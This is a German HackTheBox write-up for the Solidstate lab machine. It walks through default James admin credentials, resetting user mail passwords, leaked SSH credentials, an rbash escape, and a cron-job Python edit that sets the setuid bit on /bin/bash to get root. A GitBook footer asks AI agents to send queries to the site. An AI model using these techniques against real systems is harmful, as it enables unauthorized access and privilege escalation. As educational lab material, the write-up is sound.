> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md).

# Solidstate HackTheBox Writeup

Writeup zur HackTheBox-Medium-Linux-Maschine Solidstate mit Abdeckung von Missbrauch des James Remote Administration Tool, Ändern des E-Mail-Passworts eines Benutzers, Informationsleck, Ausbruch aus Restricted Bash (rbash), mit prak

{% embed url="<https://app.hackthebox.com/machines/85>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Ausnutzen des James Remote Administration Tools
* Ändern des E-Mail-Passworts eines Benutzers
* Informationsleck
* Ausbrechen aus Restricted Bash (rbash)
* Erstellen eines Bash-Skripts zum Erkennen von Cron-Jobs (procmon.sh)
* Ausnutzen eines Cron-Jobs (Privilegienerhöhung)
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0021ae165d2f3722dd1687ff671ec27e8d5db9d8%2Fimage%20(2578).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-029fd137f779826b40571577b3958f82a3b1a938%2F%7B3013DF16-7E79-47B4-B431-311F654C6711%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Erkundung offener Ports und Export in die Datei "allPorts" im Nmap-Verzeichnis.

```bash
nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.51 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a124ca1e2dace9426b1fb6f2a9f2dcb1bf06245%2Fimage%20(2579).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwendung der Funktion extractPorts, um offene Ports in kompakter Form anzuzeigen und in die Zwischenablage zu kopieren (22.25,80,110,119,45555)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f728b9a9b55a968481962da255f0179506710a7a%2Fimage%20(2580).png?alt=media" alt=""><figcaption></figcaption></figure>

Port- und Versionsscan mit Nmap:

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,25,80,110,119,4555 10.10.10.51 -oN targeted 
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4266549df1cc2722c270624c30ed58779d1dcda1%2F%7B4122DB1E-ED8B-4F69-A716-86C5776BAC30%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 80

#### Auf Port 80 wurden keine interessanten Informationen gefunden.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93a73940cc5b4af4578e63400ad6c54c8cde78a3%2Fimage%20(2581).png?alt=media" alt=""><figcaption></figcaption></figure>

## JAMES-Fernadministration

### Port 119 - NNTP

> Port 119 verwendet das Network News Transfer Protocol. Auf dem Server läuft eine Apache-James-Instanz, ein Mailserver und News. Wir verbinden uns mit `netcat`, aber es werden keine relevanten Informationen gefunden.

```bash
nc 10.10.10.51 119
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ac52aaefad480ecc1e2707fb767e5cbb60df7b7e%2Fimage%20(2585).png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 4555 - Fernadministrationswerkzeug

> Im Kontext der Fernadministration kann es verwendet werden, um auf Bedienfelder zuzugreifen oder mit entfernten Diensten auf dem Zielsystem zu interagieren. Es ist wichtig, es zu scannen, um zu sehen, ob es offen ist und welchen Dienst es hostet.

Wir versuchen, eine Verbindung zum James-Administrationspanel über Telnet herzustellen:

```bash
telnet 10.10.10.51 4555
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bd9b69cb11db8b4ba5cbde48f429f9937ce8bc64%2Fimage%20(2582).png?alt=media" alt=""><figcaption></figcaption></figure>

Nach der Suche nach den Standardanmeldedaten finden wir:

* **ID** : root
* **Passwort** : root

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69074b0e161c628ff9e3a8823ef1e0af04907555%2Fimage%20(2583).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1518ab79ebe0f30c9b60d29a92fc0a92595946eb%2Fimage%20(2584).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir verbinden uns erfolgreich und greifen auf James' Administrationspanel zu. Wir haben die Möglichkeit, Benutzer mit dem `listusers` Befehl aufzulisten, wodurch wir 5 Benutzer entdecken können:

* `Benutzer: james`
* `Benutzer: thomas`
* `Benutzer: john`
* `Benutzer: mindy`
* `Benutzer: mailadmin`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-15c171b11ef961402c79067a1813f6c62343f0be%2Fimage%20(2586).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir können Benutzerpasswörter mit dem `setpassword` Befehl ändern, um sie mit dem Mail-Client auf Port 110 zu verbinden. Das tun wir für alle Benutzer:

```ada
setpassword james james
setpassword thomas thomas
setpassword john john
setpassword mindy mindy
setpassword mailadmin mailadmin
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd03b9a00bf3d2978d4eafffbea83d2eb2f033c5%2Fimage%20(2587).png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 110 - POP3

> Port 110 ist der Standardport für **POP3** das Protokoll (Post Office Protocol Version 3). Dieses Protokoll wird von E-Mail-Clients verwendet, um E-Mails von einem Server abzurufen. Wenn sich ein Benutzer über diesen Port mit einem POP3-Server verbindet, kann er seine Nachrichten herunterladen.

Wir verbinden uns nun per Telnet mit dem POP3-Client:

<pre class="language-bash"><code class="lang-bash"><strong>telnet 10.10.10.51 110
</strong></code></pre>

Zum Verbinden verwenden wir die folgenden Befehle:

```ada
USER <user>
PASS <password>
```

Wir listen Nachrichten mit dem `list` Befehl.

Wir stellen fest, dass sich in den Postfächern von `james` und `thomas`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c1d9940d1c339a1c5b9bc44b6b8a0c43d4c8b8c7%2Fimage%20(2588).png?alt=media" alt=""><figcaption></figcaption></figure>

Allerdings hat der Benutzer `john` eine Nachricht, die wir mit dem `retr 1` Befehl abrufen. Die Nachricht enthält den folgenden Text:

> John,
>
> Kannst du Mindys Zugriff einschränken, bis sie berechtigt ist, dem Programm beizutreten? Bitte stelle außerdem sicher, dass du ihr ein temporäres Passwort sendest, damit sie sich mit ihren Konten verbinden kann.
>
> Vielen Dank im Voraus.
>
> Mit freundlichen Grüßen,/ James

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b8f6ae1ff1fd1cf1787c337a246d667f138b24b1%2Fimage%20(2589).png?alt=media" alt=""><figcaption></figcaption></figure>

Dies legt nahe, dass der Benutzer `mindy` Anmeldedaten in seinem Postfach hat. Tatsächlich finden wir die folgenden Informationen:

* **Benutzername** : mindy
* **Passwort** : P\@55W0rd1!2@

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b30fc925aed5ccf801ef0c46bc305b96ded344c3%2Fimage%20(2590).png?alt=media" alt=""><figcaption></figcaption></figure></div>

Wir verwenden diese Anmeldedaten, um uns per SSH zu verbinden und die Flag zu erhalten `user.txt`.

### Flagge user.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e4aaa7b8b3c59eb50ae0ca7922721c841586d0bd%2Fimage%20(2591).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation :

### **Aus rbash in Bash ausbrechen**

Das `mindy` Der Benutzer verwendet derzeit eine `rbash` Shell, die die Ausführung vieler Befehle einschränkt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1b974ef5e62ab54ab40bb654c6edd6285db721d6%2Fimage%20(2592).png?alt=media" alt=""><figcaption></figcaption></figure>

Um diese Einschränkung zu umgehen, verwenden wir beim Herstellen der SSH-Verbindung den folgenden Befehl, um eine Bash-Shell zu erhalten:

```bash
ssh mindy@10.10.10.51 -t "bash --noprofile"
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2133a4742764de292e0e29c65c8b52dd97e53f23%2Fimage%20(2593).png?alt=media" alt=""><figcaption></figcaption></figure>

Anschließend verwenden wir die folgenden Befehle, um das Terminal anzupassen und eine vollständige Shell zu erhalten:

```bash
script /dev/null -c bash
# Strg+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Cron-Jobs - modifiziertes Skript (Python):

Wir erstellen ein Bash-Skript, um laufende Prozesse zu analysieren und auf dem Zielsystem ausgeführte Cron-Jobs zu erkennen:

```bash
#!/bin/bash

old_process=$(ps -eo user,command)

while true; do
	new_process=$(ps -eo user,command)
	diff <(echo "$old_process") <(echo "$new_process") | grep "[/>/<]" | grep -vE "script|command|kworker"
	old_process=$new_process
done
```

Beim Ausführen dieses Skripts stellen wir fest, dass der **root** Benutzer ein Python-Skript ausführt, das sich im `/opt/tmp.py` Verzeichnis befindet.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9538c0cbd5164035789a6eea857c7073875affc4%2Fimage%20(914).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir haben die Möglichkeit, dieses Python-Skript zu ändern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-95e7236d2a6a42cc92e1ab2bebbf6164597e73d9%2Fimage%20(915).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir ändern es, um den Befehl hinzuzufügen, der ein **setuid** am `/bin/bash` Binärdatei, wodurch wir eine Bash-Shell mit den Rechten von **root**:

```python
#!/usr/bin/env python
import os
import sys
try:
     os.system('chmod u+s /bin/bash')
except:
     sys.exit()
```

Nach der Bearbeitung des Skripts warten wir etwa eine Minute, bis der Cron-Job ausgeführt wird.

Sobald der Cron-Job ausgeführt wurde, können wir eine Bash-Shell mit **root** Rechten erhalten, indem wir den folgenden Befehl ausführen:

```bash
/bin/bash -p
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-20afa3f33b8693d87c89d5a9adc507b116c361df%2Fimage%20(916).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt-Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30947eda0d69d9b47d9155cd855e52c6f542bbb5%2Fimage%20(917).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bdc1faec4f3dad1858ac9b48ad6737cb00b3a2ce%2F%7B1027F92C-0EA9-4241-A996-C0C29A1EA219%7D.png?alt=media" alt="" width="531"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
